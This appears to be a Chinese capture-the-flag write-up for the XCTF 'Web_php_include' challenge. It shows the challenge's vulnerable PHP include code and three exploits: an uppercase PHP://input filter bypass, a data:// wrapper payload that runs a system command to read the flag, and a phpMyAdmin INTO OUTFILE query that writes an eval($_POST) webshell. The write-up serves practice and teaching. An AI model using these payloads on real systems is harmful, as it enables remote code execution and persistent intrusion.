XCTF題目:Web_php_include
<?php show_source(__FILE__);//高亮顯示源文件 echo $_GET['hello']; $page=$_GET['page']; //獲取表單‘page’的值 while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page);//include()函數用於將函數內調用的文件內的所有內容(文本)復制到調用它的文件中; ?> //strstr($page, "php://") 中如果page的值中沒有出現"php://",那么不進入循環(循環的意思是將page中含有"php://"的替換為空格)
第一種方法:
關於str_repalce函數的繞過:這個函數是區分大小寫的,所以只要使用大寫就能繞過
接着使用PHP://input配合post來傳遞惡意代碼
得知flag文件后讀取文件即可得到flag
第二種方法(data://偽協議執行命令利用)
既然過濾了php://的偽協議 我們可以使用其他協議來做這里使用data://偽協議
data://偽協議
php5.2.0起,數據流封裝器開始有效,主要用於數據流的讀取。如果傳入的數據是PHP代碼,就會執行代碼
使用方法:data://text/plain;base64,xxxx(base64編碼后的數據)
<?php system("cat fl4gisisish3r3.php")?>
第三種方法(數據庫寫入馬)
御劍掃描獲得phpmyadmin root 密碼空 進入
數據庫執行這條命令查看secure_file_priv是否為空,為空則可以寫數據 如果是null不能寫
SHOW VARIABLES LIKE "secure_file_priv"
linux默認tmp是可寫目錄 試試寫入一句話馬 菜刀連接
SELECT "<?php eval(@$_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.php'
參考:https://www.cnblogs.com/xhds/p/12218471.html